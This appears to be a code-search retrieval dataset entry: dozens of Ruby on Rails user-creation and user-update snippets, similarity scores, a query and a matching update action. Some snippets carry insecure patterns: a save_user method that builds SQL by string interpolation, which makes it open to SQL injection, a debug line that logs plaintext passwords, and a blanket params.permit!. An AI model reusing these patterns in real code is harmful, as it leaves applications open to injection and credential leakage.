"def create_user(attributes)\n post(\"/v1/users\", attributes)\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to user_url(@user) }\n format.xml { head :created, :location => user_url(@user) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'Firm was successfully created.'\n format.html { redirect_to(@user) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\t\tparams.permit!\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(users_url,\n :notice => \"User #{@user.name} was successfully created.\") }\n format.xml { render :xml => @user,\n :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def postUser( email, user_id, first_name, last_name, active, trust, creation_date, user_type, social_network, social_network_id, reseller_admin_masheryid, group_id, admin_upgrader)\n params = Hash.new\n params['email'] = email\n params['user_id'] = user_id\n params['first_name'] = first_name\n params['last_name'] = last_name\n params['active'] = active\n params['trust'] = trust\n params['creation_date'] = creation_date\n params['user_type'] = user_type\n params['social_network'] = social_network\n params['social_network_id'] = social_network_id\n params['reseller_admin_masheryid'] = reseller_admin_masheryid\n params['group_id'] = group_id\n params['admin_upgrader'] = admin_upgrader\n return doCurl(\"post\",\"/user\",params)\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to(@user) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to(@user) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to(@user) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to(@user) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to(@user) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to(@user) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to(@user) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to(@user) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'user was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n result = access_token.post('/api/v1/users/create', {:email=>params[:email],:psw=>params[:password],:psw_conf=>params[:password_conf],:inbox=>params[:inbox]})\n display_api_response result\n respond_with(\"\",:location => :back)\n end",
"def create\n @user = current_restaurant.users.new(params[:user])\n\n respond_to do |format|\n if @user.signup!(params)\n @user.deliver_invited_activation_instructions!(current_restaurant)\n current_restaurant.users << @user\n current_restaurant.save\n flash[:notice] = t('users.create.success')\n format.html { redirect_to(@user) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_users(users, opts = {})\n data, _status_code, _headers = post_users_with_http_info(users, opts)\n data\n end",
"def append_user_info(username, xml)\n end",
"def create\n @user = User.new(params[:user])\n get_list\n\n respond_to do |format|\n if @user.save\n flash[:notice] = \"User #{@user.fname} #{@user.lname} was successfully created.\"\n format.html { redirect_to(:action => :index) }\n format.xml { head :ok }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to(:action=>\"index\") }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n if !current_user || is_admin?\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(:root, :notice => 'Registration successfull.') }\n #format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n #format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n else\n redirect_to :root\n end\n end",
"def create\n @user = User.new(params[:user])\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to(:action => :index) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @users = LinkedData::Client::Models::User.all\n respond_to do |format|\n format.html\n format.xml { render xml: @users.to_xml }\n end\n end",
"def create_user\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n post(\"users.json\", params)\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new_user(username, password, full_name, email)\n representation = form_encoded({ \"user[name]\" => username,\n \"user[password]\" => password,\n \"user[full_name]\" => full_name,\n \"user[email]\" => email }) \n puts representation\n begin\n response = open(@service_root + '/users', :method => :post, \n :body => representation)\n puts \"User #{username} created at #{response.meta['location']}\"\n rescue OpenURI::HTTPError => e\n response_code = e.io.status[0].to_i\n if response_code == \"409\" # Conflict\n puts \"Sorry, there's already a user called #{username}.\"\n else\n raise e\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n if @user.save\n respond_to do |format|\n format.json { render :json => @user.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create user\", :status => :unprocessable_entity } # placeholder\n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end",
"def create_user(options = {})\n post \"/users\", options\n end",
"def save_user\n client = create_db_client\n client.query(\"INSERT INTO users(name, email, password, bio) VALUES('#{@name}', '#{@email}', '#{@password}', '#{@bio}')\")\n \n id = client.last_id\n rawData = client.query(\"SELECT * FROM users WHERE id='#{id}'\")\n users = Array.new\n rawData.each do |data|\n user = {:id => data[\"id\"], :name => data[\"name\"] ,:email => data[\"email\"], :password => data[\"password\"], :bio => data[\"bio\"]}\n users << user\n end\n response = Response.new('success', 'success input user', users)\n return response.response_api\n end",
"def index\n @users = User.all\n render :xml => @users\n end",
"def create_users(accountId, model) path = \"/api/v2/accounts/#{accountId}/users\"\n post(path, model, {}, AvaTax::VERSION) end",
"def create\n @user = User.new(user_params)\n @user.save\n respond_with @user\n end",
"def create\n\t\t@user = User.new(users_params)\n\t\tif @user.save\n\t\t\tjson_response(@user, \"User is created Successfully.\")\n\t\telse\n\t\t\trender json: {message: @user.errors.full_messages.join(\" \")}, status: 400\n\t\tend\t\t\n\tend",
"def create\n @user = User.new(params[:user])\n puts params[:user]\n respond_to do |format|\n if @user.save\n format.html { redirect_to :users, notice: 'Registration successful.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(name=\"Default name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Post.new(@url)\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n response.body\n end",
"def user_create(username, email, password, tenant_id)\n\t\n\t\tuser = {\"user\" => {\"name\" => username, \"email\" => email, \"enabled\" => true, \"password\" => password, \"tenantid\" => tenant_id}}\n\t\n\t\tjson_string = JSON.generate(user)\n\t\n\t\tpost_call = Curl::Easy.http_post(\"#{@ip_address}:#{@port_2}/v2.0/users\", json_string\n\t\t) do |curl|\n\t\t\tcurl.headers['x-auth-token'] = @token\n\t\t\tcurl.headers['Content-Type'] = 'application/json'\n\t\tend\n\t\t\t\t\t\t\t\t\t \n\t\tparsed_json = JSON.parse(post_call.body_str)\n\t\t\n\t\tputs parsed_json\n\t\treturn parsed_json\n\tend",
"def post_users_with_http_info(users, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UsersApi.post_users ...'\n end\n # verify the required parameter 'users' is set\n if @api_client.config.client_side_validation && users.nil?\n fail ArgumentError, \"Missing the required parameter 'users' when calling UsersApi.post_users\"\n end\n # resource path\n local_var_path = '/users'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(users) \n\n # return_type\n return_type = opts[:return_type] || 'User' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsersApi#post_users\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @user = @application.users.create(user_params)\n\n if @user.valid?\n render json: @user, status: :created, location: api_application_user_path(@application,@user)\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n respond_with(@user, location: users_url, notice: 'User was successfully created.')\n else\n respond_with(@user)\n end\n end",
"def parseUserData(doc, params)\n \n real_name = (doc.find_first('//xmpp2rest/user/real_name')) ? doc.find_first('//xmpp2rest/user/real_name').content : nil\n password = (doc.find_first('//xmpp2rest/user/password')) ? doc.find_first('//xmpp2rest/user/password').content : nil\n \n if not real_name or not password\n raise Exception.new(\"Missing elements data for creating new user!\")\n end \n \n params.merge!({:real_name => real_name})\n params.merge!({:password => password})\n \n return params\n end",
"def new\n @user = User.new\n render :xml => @user\n end",
"def create\n @user = User.new(user_params)\n @user.admin = false\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to(root_url, notice: 'User was successfully created.') }\n format.xml { render xml: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.xml { render xml: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_user(attributes = {})\n elektron_identity.post(\"users\") { { user: attributes } }.body[\"user\"]\n end",
"def create_user(options = {})\n post :create, {:user => { :name => 'quire', :point_value => \"2\", :login => 'quire', :email => 'quire@example.com',\n :password => 'quire', :password_confirmation => 'quire' }.merge(options)}, {:user_id => \"1\"}\n end",
"def create\n @user = User.new(form_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: { users: @user }, status: :created }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_should_create_invite_via_API_XML\r\n get \"/logout\"\r\n post \"/invites.xml\", :api_key=>'testapikey',\r\n :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response :created\r\n end",
"def create\n @user = User.new(params[:user])\n\trecipe_list = RecipeList.create\n\t@user.recipe_list = recipe_list\n respond_to do |format|\n if @user.save\n format.html { redirect_to(root_url, :notice => 'Registration successful') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\tputs \"\\n \\t\\tin create\\n\" + params[:user].inspect\n @user = User.new(params[:user])\n\n\tputs @user.inspect\n respond_to do |format|\n if @user.save\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n logger.debug(\"AAA \" + params[:user][:password])\n\n @user = User.new(params[:user])\n respond_to do |format|\n if @user.save\n format.html { redirect_to(users_path, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n doc = Nokogiri::XML(request.body.read)\n bNode = doc.xpath('elwak/benutzer')\n\n @benutzer = Benutzer.new(benutzer_params(bNode))\n if @benutzer.save\n if bNode.xpath('objekt_zuordnungs').length > 0\n objekt_ids = bNode.xpath('objekt_zuordnungs/objekt_id').map{|oz| oz.text.to_s.to_i}\n @benutzer.setze_objekt_zuordnungen(objekt_ids)\n end\n success(@benutzer.id)\n else\n error(@benutzer.errors)\n end\n end",
"def users(name, args={})\n query = \"/?client_id=#{@client_id}&format=#{format.to_s}&name#{name}\"\n path = __method__.to_s\n http_post(path, query)\n end",
"def users\n\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n Mailer.deliver_registration_confirmation(@user)\n format.html { redirect_to( admin_users_path, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => admin_users_path }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => admin_users_path.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def me\n users(request(\"users/authenticate.xml\", :auth => true))\n end",
"def api_v11_users_post(opts = {})\n api_v11_users_post_with_http_info(opts)\n return nil\n end",
"def create\n @user = User.new(params[:user])\n @user.admin = params[:user].delete(:admin)\n respond_to do |format|\n if (@user.confirmed_at = Time.now) && @user.save\n flash[:notice] = 'User was successfully created.'\n format.html { redirect_to admin_users_path(:anchor => dom_id(@user)) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :new }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create user_name\n response = @client.action \"RegisterUser\", \"Name\" => user_name\n\n Response::User.new response.body['RegisterUserResponse']\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @users }\n end\n end",
"def list_users\n self.class.get('/users')\n end",
"def new\n @user = User.new\n @users = @firm.users.all\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def create\n puts 'Holaaaaaaaaaaaaaaaaaaaaaaaa'\n puts user_params\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n puts @users\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n users = get_collection(User) || return\n\n respond_to do |format|\n format.xml { render xml: users.to_xml(only: DEFAULT_FIELDS, root: 'users', skip_types: 'true') }\n format.json { render json: users.to_json(only: DEFAULT_FIELDS) }\n end\n end",
"def userRegisterPost(email, name, password, password_confirmation)\n post register_path, params: {user: {email: email, name: name,\n password: password, password_confirmation: password_confirmation}}\n end",
"def new\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @user }\n end\n end",
"def create\n\t\t@user = User.new(params[:user])\n\n\t\trespond_to do |format|\n\t\t\tif @user.save\n\t\t\t\tformat.html { redirect_to(@user, :notice => 'User was successfully created.') }\n\t\t\t\tformat.xml { render :xml => @user, :status => :created, :location => @user }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html do\n redirect_to users_url,\n notice: I18n.t('activerecord.attributes.user.messages.created', name: @user.name)\n end\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n flash[:notice] = \"User created!\"\n session[:current_user] = @user.name\n session[:current_user_id] = @user.id\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n flash[:error] = \"Create user failed!\"\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\r\n @users = User.find(:all)\r\n \r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @users.to_xml }\r\n end\r\n end"
] |
[
"0.71678036",
"0.6338476",
"0.6224363",
"0.61548346",
"0.6088076",
"0.6079892",
"0.60536397",
"0.60094374",
"0.5940851",
"0.59352076",
"0.59313804",
"0.59236705",
"0.59006655",
"0.58788294",
"0.5857175",
"0.58492076",
"0.58427423",
"0.58262956",
"0.58248377",
"0.5821217",
"0.58131135",
"0.58091503",
"0.5792528",
"0.5791521",
"0.57853204",
"0.57838213",
"0.578127",
"0.5780058",
"0.57784057",
"0.57784057",
"0.57784057",
"0.57784057",
"0.57784057",
"0.57784057",
"0.57784057",
"0.57784057",
"0.5767466",
"0.5758253",
"0.5755529",
"0.5750517",
"0.5750517",
"0.5750517",
"0.5750517",
"0.5750517",
"0.5750517",
"0.5750517",
"0.5750517",
"0.5750517",
"0.5743413",
"0.5733758",
"0.57335615",
"0.5728242",
"0.57248116",
"0.57197785",
"0.5716902",
"0.57165825",
"0.5698319",
"0.56964135",
"0.56722647",
"0.5670073",
"0.56568635",
"0.5647387",
"0.5637585",
"0.56305486",
"0.56242114",
"0.5610217",
"0.5608538",
"0.5606493",
"0.5599364",
"0.55989724",
"0.55964243",
"0.5595968",
"0.559136",
"0.5588281",
"0.5558225",
"0.5552007",
"0.5551258",
"0.5536655",
"0.5524534",
"0.5517971",
"0.5517697",
"0.5511685",
"0.55057925",
"0.5502942",
"0.5494358",
"0.5492615",
"0.5491333",
"0.5485237",
"0.5477793",
"0.5476153",
"0.54688483",
"0.54683477",
"0.54633856",
"0.54598165",
"0.54497695",
"0.54471266",
"0.5444897",
"0.54437274",
"0.5440441",
"0.5440341",
"0.5436465"
] |
0.0
|
-1
|
PUT /users/1 PUT /users/1.xml
|
def update
@user = User.find(params[:id])
# @filtry = params[:filters]
# if @filtry != nil
# params[:user][:obserwowane] = @filtry.join(" ")
# else
# params[:user][:obserwowane] = nil
# end
#przekierowanie = users_path
przekierowanie = users_path
przekierowanie = root_path if !(admin_logged_in?)
zmiana_subskrypcji = false
if !params[:user][:zmiana_subskrypcji].nil?
zmiana_subskrypcji = true
params[:user].delete(:zmiana_subskrypcji)
end
if zmiana_subskrypcji
params[:user][:address_ids] = [] if out = params[:user][:address_ids].nil?
params[:user][:address_opises] = [] if out = params[:user][:address_opises].nil?
identyfikatory = params[:user][:address_ids]
opisy = params[:user][:address_opises]
params[:user].delete(:address_opises)
end
respond_to do |format|
if @user.update_attributes(params[:user])
if zmiana_subskrypcji
identyfikatory.each do |id|
# Zapisanie opisu użytkownika
@user.sites.find_by_address_id(id).update_attributes(:opis => opisy[id])
# Zapisanie opisu globalnego (w addresses, rodzaj cache)
@adres = Address.find(id)
alternatywy = []
@adres.sites.each do |site|
alternatywy << site.opis
end
liczby_alternatyw = (alternatywy.inject(Hash.new(0)) { |h, i| h[i] += 1; h }).to_a
liczba_uzytkownikow = Address.find(id).sites.length
max = 0
best_opis = ''
liczby_alternatyw.each do |opis, liczba|
if liczba > max
max = liczba
( best_opis = opis) if opis != ''
end
end
( best_opis = 'brak opisu' ) if (best_opis == '')
poprzedni_opis = @adres.opis
@adres.update_attributes(:opis => best_opis)
end
end
format.html { redirect_to(przekierowanie, :notice => 'Ustawienia zapisane') }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @user.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @user = V1::User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'V1::User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!\n @authorize = nil\n update_plan! &&\n resp = put(\"/users/#{username}.xml\", {\n :user_key => apikey,\n \"user[first_name]\" => first_name,\n \"user[last_name]\" => last_name\n })\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def UpdateUser params = {}\n \n APICall(path: 'users.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(users_url, :notice => \"User #{@user.name} was successfully updated.\") }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(users_url,:notice => \"User #{@user.name} was successfully updated.\") }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find_by_urlname(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = \"Account updated successfully\"\n format.html { redirect_to user_path(@user) }\n format.xml { head :ok }\n else\n flash[:error] = \"There were problems updating the profile\"\n format.html { render :action => 'edit' }\n format.xml { @user.errors.to_xml }\n end\n end\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update_user(options)\n patch(\"/user\", options, 3)\n end",
"def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => 'test@email.com',\r\n :user_id => 1 }\r\n assert_response 401\r\n end",
"def modify_user(user)\n query_api_object Model::User, '/rest/user', user.to_hash, 'PUT'\n end",
"def modify_user(user)\n query_api_object User, \"/rest/user\", user.dump(), \"PUT\"\n end",
"def put user_id, options={}, headers={}\n @connection.put \"users/#{user_id}.json\", options, headers\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to(root_path, :notice => 'Usuario alterado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def updateUser\n options = {\n :body => params.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n results = HTTParty.put(\"http://192.168.99.101:4051/users/\"+@current_user[\"id\"].to_s, options)\n render json: results.parsed_response, status: results.code\n end",
"def update_user(id, accountId, model) path = \"/api/v2/accounts/#{accountId}/users/#{id}\"\n put(path, model, {}, AvaTax::VERSION) end",
